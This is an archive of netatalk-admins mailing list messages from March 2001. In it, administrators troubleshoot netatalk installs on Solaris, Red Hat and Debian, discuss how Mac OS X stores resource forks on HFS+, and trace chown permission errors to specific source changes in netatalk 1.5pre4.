	by galaxy.tbird.com (8.9.2/8.9.2) with SMTP id RAA09559
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 17:41:45 -0500 (EST)
Message-Id: <200103022241.RAA09559@galaxy.tbird.com>
Date: Fri, 2 Mar 2001 17:41:49 -0500 (EST)
From: rnf <rnf@tbird.com>
Reply-To: rnf <rnf@tbird.com>
Subject: netatalk-1.4b2+asun2.1.4 with 64 Bit Solaris
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: l3enGioRbY1UOGAwGAZBBg==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4m sparc 

Hi,

I'm trying to install netatalk-1.4b2+asun2.1.4 on a Sun E-450 under Solaris 8 
running in 64 bit mode.

I've successfully installed it on 32 bit Solaris 8 boxes with no problem.

Is it possiblre to install 32 bit drivers on Solaris 8 in 64 bit mode?

If not, is there some place I can get the 64 bit binaries?

I understand that you can only do the 64 bit compile with the Sun C 5.0 
compiler, which I don't have.

When I do a make kinstall I get the following output:

/usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
add_drv -m '* 0666 root sys' ddp
devfsadm: driver failed to attach: ddp
Warning: Driver (ddp) successfully added to system but failed to attach
sync;sync;sync

Any help will be greatly appreciated.

Rick


From netatalk.administrators-errors@umich.edu  Sat Mar  3 00:30:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA03050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Mar 2001 00:30:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA24254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Mar 2001 00:30:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA24243
	for netatalk.administrators-members@umich.edu; Sat, 3 Mar 2001 00:30:41 -0500 (EST)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA24228
	for <netatalk-admins@umich.edu>; Sat, 3 Mar 2001 00:30:40 -0500 (EST)
Received: from unix1 (unix1.wm.edu [128.239.10.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id AAA21313;
	Sat, 3 Mar 2001 00:30:39 -0500 (EST)
Date: Sat, 3 Mar 2001 00:49:32 -0500 (EST)
From: Rob Lineweaver <rbline@wm.edu>
To: Niall O Broin <niall@magicgoeshere.com>
cc: netatalk-admins@umich.edu
Subject: Re: netatalk compatible utilities
In-Reply-To: <20010302132701.A1076@bagend.local>
Message-ID: <Pine.GSO.4.10.10103030047590.15515-100000@unix1.wm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

>
> A thought has just occured to me - how has Apple handled this with MacOS
> X ? I presume they've built a filesystem with integrated metadata.
>

That's exactly what they did, it's just that Apple built that
filesystem long ago:  regular old HFS+ is what OS X uses for files that
need the resource forks.  At least this is how I understand it on the
couple of OS X servers I've looked at.  OS X itself goes on a UFS
partition but the AFS serves files off of HFS+.

You can even rebuild the desktop database of the HFS+ partition(s) on an
OS X server by booting the box off a Mac OS 8.x or 9.x CD and holding
down Apple-Option...
(http://til.info.apple.com/techinfo.nsf/artnum/n60401)

Rob Lineweaver
:)




From netatalk.administrators-errors@umich.edu  Sat Mar  3 04:09:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA07572
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Mar 2001 04:09:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA12585
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Mar 2001 04:09:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA12579
	for netatalk.administrators-members@umich.edu; Sat, 3 Mar 2001 04:09:26 -0500 (EST)
Received: from mail.magicgoeshere.com (NW152-60.indigo.ie [194.125.152.60] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA12566
	for <netatalk-admins@umich.edu>; Sat, 3 Mar 2001 04:09:24 -0500 (EST)
Received: from bagend.local (unknown [194.165.165.33])
	by mail.magicgoeshere.com (Postfix) with ESMTP id 666B9FAF1
	for <netatalk-admins@umich.edu>; Sat,  3 Mar 2001 09:01:16 +0000 (GMT)
Received: (from niall@localhost)
	by bagend.local (8.9.3/8.9.3) id JAA00873
	for netatalk-admins@umich.edu; Sat, 3 Mar 2001 09:06:50 GMT
Date: Sat, 3 Mar 2001 09:06:50 +0000
From: Niall O Broin <niall@magicgoeshere.com>
To: netatalk-admins@umich.edu
Subject: Re: netatalk compatible utilities
Message-ID: <20010303090650.B738@bagend.local>
References: <20010302132701.A1076@bagend.local> <Pine.GSO.4.10.10103030047590.15515-100000@unix1.wm.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.GSO.4.10.10103030047590.15515-100000@unix1.wm.edu>; from rbline@wm.edu on Sat, Mar 03, 2001 at 12:49:32AM -0500

On Sat, Mar 03, 2001 at 12:49:32AM -0500, Rob Lineweaver wrote:

> > A thought has just occured to me - how has Apple handled this with MacOS
> > X ? I presume they've built a filesystem with integrated metadata.
> 
> That's exactly what they did, it's just that Apple built that
> filesystem long ago:  regular old HFS+ is what OS X uses for files that
> need the resource forks.  At least this is how I understand it on the
> couple of OS X servers I've looked at.  OS X itself goes on a UFS
> partition but the AFS serves files off of HFS+.

This is bizarre. It seems that OS X is like two operating systems running as
multi-tasking processes on the same machine. What would you do if you wanted
to use command line utilities to manipulate files on HFS+ partitions ? OS X
beta testers - what does the cp command do if you cp a file on a HFS+
partition a) to a HFS+ partition b) to a UFS partition ?

> You can even rebuild the desktop database of the HFS+ partition(s) on an
> OS X server by booting the box off a Mac OS 8.x or 9.x CD and holding
> down Apple-Option...
> (http://til.info.apple.com/techinfo.nsf/artnum/n60401)

Jeez - that's bizarre - regular maintenance of an OS X server so requires
rebooting the machine - welcome to Windows NT :-)



Regards,



Niall  O Broin

From netatalk.administrators-errors@umich.edu  Sun Mar  4 00:22:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA28696
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Mar 2001 00:22:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA20396
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Mar 2001 00:22:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA20382
	for netatalk.administrators-members@umich.edu; Sun, 4 Mar 2001 00:22:36 -0500 (EST)
Received: from mail3.centurytel.net (mail3.centurytel.net [209.142.136.99])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA20355
	for <netatalk-admins@umich.edu>; Sun, 4 Mar 2001 00:22:35 -0500 (EST)
Received: from mac.com (pppoe0221.lr.centurytel.net [64.91.13.95])
	by mail3.centurytel.net (8.11.1/8.11.1) with ESMTP id f245MYR09556
	for <netatalk-admins@umich.edu>; Sat, 3 Mar 2001 23:22:34 -0600 (CST)
Sender: brian@mail3.centurytel.net
Message-ID: <3AA1D02E.C653D0E0@mac.com>
Date: Sun, 04 Mar 2001 00:18:38 -0500
From: brian lynch <bruiser216@mac.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: with red hat 7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

i am trying to get netatalk to work on my system rh 7. i was unable to
compile the .tar.gz packages so i dled the precompiled versions. this
installed but i cannot get my mac to recognize the red hat box. when i
boot the atalk message ok's so it should be running. what might be
wrong?


From netatalk.administrators-errors@umich.edu  Sun Mar  4 00:44:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA29031
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Mar 2001 00:44:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA02943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Mar 2001 00:44:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA02936
	for netatalk.administrators-members@umich.edu; Sun, 4 Mar 2001 00:44:53 -0500 (EST)
Received: from femail3.sdc1.sfba.home.com (femail3.sdc1.sfba.home.com [24.0.95.83])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA02927
	for <netatalk-admins@umich.edu>; Sun, 4 Mar 2001 00:44:52 -0500 (EST)
Received: from [10.0.1.2] ([24.176.79.249]) by femail3.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010304054248.RWNZ11050.femail3.sdc1.sfba.home.com@[10.0.1.2]>
          for <netatalk-admins@umich.edu>; Sat, 3 Mar 2001 21:42:48 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 03 Mar 2001 21:45:10 -0800
Subject: Re: with red hat 7
From: paul beard <pkdb1@home.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C71666.4887%pkdb1@home.com>
In-Reply-To: <3AA1D02E.C653D0E0@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

What do you mean when you say "i cannot get my mac to recognize the red hat
box"? You don't see it in the chooser? Can you access it thru pure IP? If
not, is appletalk loaded (dmesg | grep AppleTalk or lsmod | grep appletalk)?



on 3/3/01 9:18 PM, brian lynch at bruiser216@mac.com wrote:

> i am trying to get netatalk to work on my system rh 7. i was unable to
> compile the .tar.gz packages so i dled the precompiled versions. this
> installed but i cannot get my mac to recognize the red hat box. when i
> boot the atalk message ok's so it should be running. what might be
> wrong?

--
Paul Beard / 206 529 8400
8040 27th Ave NE
Seattle WA 98115

You'll wish that you had done some of the hard things when they were easier
to do.



From netatalk.administrators-errors@umich.edu  Sun Mar  4 01:09:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA29541
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Mar 2001 01:09:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA14455
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Mar 2001 01:09:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA14443
	for netatalk.administrators-members@umich.edu; Sun, 4 Mar 2001 01:09:58 -0500 (EST)
Received: from priv-edtnes10-hme0.telusplanet.net (mtaout.telus.net [199.185.220.235])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA14431
	for <netatalk-admins@umich.edu>; Sun, 4 Mar 2001 01:09:57 -0500 (EST)
Received: from telusplanet.net ([161.184.165.98])
          by priv-edtnes10-hme0.telusplanet.net
          (InterMail vM.4.01.03.10 201-229-121-110) with ESMTP
          id <20010304060956.VLLY26101.priv-edtnes10-hme0.telusplanet.net@telusplanet.net>
          for <netatalk-admins@umich.edu>; Sat, 3 Mar 2001 23:09:56 -0700
Sender: kj@telusplanet.net
Message-ID: <3AA09E2B.3185A950@telusplanet.net>
Date: Sat, 03 Mar 2001 00:33:00 -0700
From: Kristin <linuxbox@telusplanet.net>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: atalkd problems
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I installed and configured the Netatalk package onto a Pentium class
system running the latest stable release of Debian. When I attemp to
start the atalkd deamon I received the following error messages:

socket: Invalid argument
socket: Invalid argument
atalkd: can't get interfaces, exiting.

I have edited the /etc/netatalk/atalkd.conf file and have inserted
"eth1" as the interface for the atalk deamon to reside on. I can
successfully run the apdf server and the papd server with no problems at
all. How can I solve my problem?

Stef


From netatalk.administrators-errors@umich.edu  Mon Mar  5 03:35:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA28413
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 03:35:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA26546
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 03:35:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA26535
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 03:35:55 -0500 (EST)
Received: from mail.tasis.ch (mail.tasis.ch [194.209.185.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA26506
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 03:35:54 -0500 (EST)
Received: from localhost (tihen.william@localhost)
	by mail.tasis.ch (8.9.3/8.8.7) with ESMTP id KAA04823;
	Mon, 5 Mar 2001 10:12:38 +0100
Date: Mon, 5 Mar 2001 10:12:38 +0100 (CET)
From: Tihen <tihen.william@mail.tasis.ch>
To: paul beard <pkdb1@home.com>
cc: netatalk-admins@umich.edu
Subject: Re: with red hat 7
In-Reply-To: <B6C71666.4887%pkdb1@home.com>
Message-ID: <Pine.LNX.4.10.10103051010490.4668-100000@mail.tasis.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have found that if a mac client can find the netatalk server using
IP addresses, but not appletalk then the problem is usually, that the Mac
IP settings are not set properly (of course the atalk kernel module may
not be loaded either).

Bill Tihen

On Sat, 3 Mar 2001, paul beard wrote:

> What do you mean when you say "i cannot get my mac to recognize the red hat
> box"? You don't see it in the chooser? Can you access it thru pure IP? If
> not, is appletalk loaded (dmesg | grep AppleTalk or lsmod | grep appletalk)?
> 
> 
> 
> on 3/3/01 9:18 PM, brian lynch at bruiser216@mac.com wrote:
> 
> > i am trying to get netatalk to work on my system rh 7. i was unable to
> > compile the .tar.gz packages so i dled the precompiled versions. this
> > installed but i cannot get my mac to recognize the red hat box. when i
> > boot the atalk message ok's so it should be running. what might be
> > wrong?
> 
> --
> Paul Beard / 206 529 8400
> 8040 27th Ave NE
> Seattle WA 98115
> 
> You'll wish that you had done some of the hard things when they were easier
> to do.
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Mar  5 12:38:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA10179
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 12:38:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 12:38:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01867
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 12:38:20 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA01804
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 12:38:16 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id SAA26981;
	Mon, 5 Mar 2001 18:38:08 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3AA3CF60.DC20FBBF@srz-berlin.de>
Date: Mon, 05 Mar 2001 18:39:44 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
		 <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
		 <3A9D4D6A.87EB6BF0@srz-berlin.de> <p04330100b6c300cf0a27@[64.108.217.40]> <3A9D6275.A64526A4@srz-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

inspired by the bug report
http://sourceforge.net/tracker/index.php?func=detail&aid=405434&group_id=8642&atid=108642
I have diff'ed the source of ./libatalk from 1.5pre4 against 1.5pre3:
Someone has changed line 617 of ./libatalk/adouble/ad_open.c from 
	admode = ad_mode( ad_p, mode );
to
	admode = ad_mode( ad_p, O_RDWR );
This is the only difference in the c source of libatalk.

I have changed the line back to the old version and now my problems are
partly gone: I have still log entries like "chown 16777216/-1" and
"chown -1/0" with . and .AppleDouble/.Parent while drag'n'drop files to
the server folder, but no more "access denied" error messages on the
clients side and the file permissions are looking imho fine to me.

Can someone explain the change in libatalk?

- Axel

Axel Bringenberg schrieb:
> 
> I'm just wondering why the _user_ process tries to set a gid of 0 or an
> uid of 16777216 (0x1000000) ?! Hmm...
> 
> - Axel
> 
> Keith Lamont schrieb:
> >
> > Same here, except I tried the .rpm before building from scratch, and
> > only tested against Mac OS 9. I'm not a total stranger to netatalk;
> > had it running with RH 5.2 on another box.
> >
> > Keith
> >
> > >Hi Marc,
> > >
> > >"Marc J. Miller" schrieb:
> > >>
> > >>  Looks familiar to me too.
> > >>
> > >>  If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
> > >>  DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
> > >>  platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
> > >>  Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
> > >>  user names is a lot.  Is it possible that the number is too big and we've
> > >>  run into a limitation of chown?
> > >
> > >No, I don't think so. I've been fighting against the same problem too
> > >and in my case I'm today the only user of a fresh installed rh7.0 box:
> > >
> > >------------<snip>-----------------------------------
> > >Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
> > >Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
> > >user bringi by (uid=0)
> > >Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > >.AppleDouble/.Parent: Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > >.AppleDouble: Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> > >Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> > >.AppleDouble/.Parent: Operation not permitted
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > >.AppleDouble/.Parent: Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > >.AppleDouble: Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> > >Invalid argument
> > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> > >.AppleDouble/.Parent: Operation not permitted
> > >Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
> > >.AppleDouble/.Parent: Operation not permitted
> > >Feb 28 17:28:27 gromit afpd[18327]: logout bringi
> > >------------<snip>-----------------------------------
> > >
> > >This happens everytime while moving, copying or creating files -
> > >directories are doing fine. Is it possible that some pieces of the new
> > >(and broken) FORCE_UIDGID code is still active? Or is it maybee a
> > >Redhat-only problem?
> > >
> > >I've looked arround and found some similar messages in this list, all
> > >reporting problems with
> > >    setdirowner: chown -1/0 .: Operation not permitted
> > >or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
> > >or setdirowner: chown 16777216/-1 .: Invalid argument
> > >or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> > >
> > >Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
> > >
> > >In my case I've ...
> > >- build a freshly RH7.0 box with all possible updates (incl.
> > >kernel-2.2.17-14)
> > >- build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
> > >FORCE_UIDGID
> > >- I'm the first and only additional user (uid 500/gid 500)
> > >- the volume is totaly owned by me (maximum chowned and chmoded :-)
> > >- tested with MacOS 7.5, 8.6 and 9.0
> > >
> > >Axel.
> 
> --
> Satz-Rechen-Zentrum Berlin - Systemgruppe

-- 
Satz-Rechen-Zentrum Berlin - Systemgruppe

From netatalk.administrators-errors@umich.edu  Mon Mar  5 15:28:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 15:28:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 15:28:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09233
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 15:28:24 -0500 (EST)
Received: from fortune.excite.com (fortune-rwcmta.excite.com [198.3.99.203])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09072
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 15:28:18 -0500 (EST)
Received: from blizzard.excite.com ([199.172.148.158])
          by fortune.excite.com (InterMail vM.4.01.02.39 201-229-119-122)
          with ESMTP
          id <20010305202823.BHND17046.fortune.excite.com@blizzard.excite.com>;
          Mon, 5 Mar 2001 12:28:23 -0800
Message-ID: <33257211.983824103708.JavaMail.imail@blizzard.excite.com>
Date: Mon, 5 Mar 2001 12:28:22 -0800 (PST)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: Niall O Broin <niall@magicgoeshere.com>, netatalk-admins@umich.edu
Subject: Re: netatalk compatible utilities
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 156.46.248.162


>  > > A thought has just occured to me - how has Apple handled this with
MacOS
>  > > X ? I presume they've built a filesystem with integrated metadata.
>  > 
>  > That's exactly what they did, it's just that Apple built that
>  > filesystem long ago:  regular old HFS+ is what OS X uses for files that
X
>  beta testers - what does the cp command do if you cp a file on a HFS+
>  partition a) to a HFS+ partition b) to a UFS partition ?
>  
------------------

Not in front of my OS X beta box at the moment, but I did my OS install on a
UFS partitioin.  You can save, open, modify files directly to and from the
UFS partition, and icons SEEM to stay intact.   How it handles resource
forks is beyond me.

One thing of interest I did note:  31 character file names are not a limit
of HFS file systems, but of Classic Mac OS.  I was able to create a very
long file name on an HFS partition using command line tools.  In Classic, it
just looked garbled towards the end.

Cheers!
-Joe Rhodes





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/



From netatalk.administrators-errors@umich.edu  Mon Mar  5 15:43:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA15431
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 15:43:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22528
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 15:43:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22507
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 15:43:32 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA22475
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 15:43:30 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id VAA02437;
	Mon, 5 Mar 2001 21:43:27 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3AA3FACE.F12B4359@srz-berlin.de>
Date: Mon, 05 Mar 2001 21:45:02 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu, Marc Miller <itlm019@mailbox.ucdavis.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
			 <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
			 <3A9D4D6A.87EB6BF0@srz-berlin.de> <p04330100b6c300cf0a27@[64.108.217.40]> <3A9D6275.A64526A4@srz-berlin.de> <3AA3CF60.DC20FBBF@srz-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

And here is the next:

I found that in ./etc/afpd/volume.c the line
	#define  VOLOPT_MAX        9
was changed to
	#define  VOLOPT_MAX        11

Changing back to 9 fixes the "chown 16777216/-1" problem, but the "chown
-1/0" still remains. Can someone check this?

Still hunting,
- Axel

Axel Bringenberg schrieb:
> 
> Hi,
> 
> inspired by the bug report
> http://sourceforge.net/tracker/index.php?func=detail&aid=405434&group_id=8642&atid=108642
> I have diff'ed the source of ./libatalk from 1.5pre4 against 1.5pre3:
> Someone has changed line 617 of ./libatalk/adouble/ad_open.c from
>         admode = ad_mode( ad_p, mode );
> to
>         admode = ad_mode( ad_p, O_RDWR );
> This is the only difference in the c source of libatalk.
> 
> I have changed the line back to the old version and now my problems are
> partly gone: I have still log entries like "chown 16777216/-1" and
> "chown -1/0" with . and .AppleDouble/.Parent while drag'n'drop files to
> the server folder, but no more "access denied" error messages on the
> clients side and the file permissions are looking imho fine to me.
> 
> Can someone explain the change in libatalk?
> 
> - Axel
> 
> Axel Bringenberg schrieb:
> >
> > I'm just wondering why the _user_ process tries to set a gid of 0 or an
> > uid of 16777216 (0x1000000) ?! Hmm...
> >
> > - Axel
> >
> > Keith Lamont schrieb:
> > >
> > > Same here, except I tried the .rpm before building from scratch, and
> > > only tested against Mac OS 9. I'm not a total stranger to netatalk;
> > > had it running with RH 5.2 on another box.
> > >
> > > Keith
> > >
> > > >Hi Marc,
> > > >
> > > >"Marc J. Miller" schrieb:
> > > >>
> > > >>  Looks familiar to me too.
> > > >>
> > > >>  If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
> > > >>  DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
> > > >>  platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
> > > >>  Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
> > > >>  user names is a lot.  Is it possible that the number is too big and we've
> > > >>  run into a limitation of chown?
> > > >
> > > >No, I don't think so. I've been fighting against the same problem too
> > > >and in my case I'm today the only user of a fresh installed rh7.0 box:
> > > >
> > > >------------<snip>-----------------------------------
> > > >Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
> > > >Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
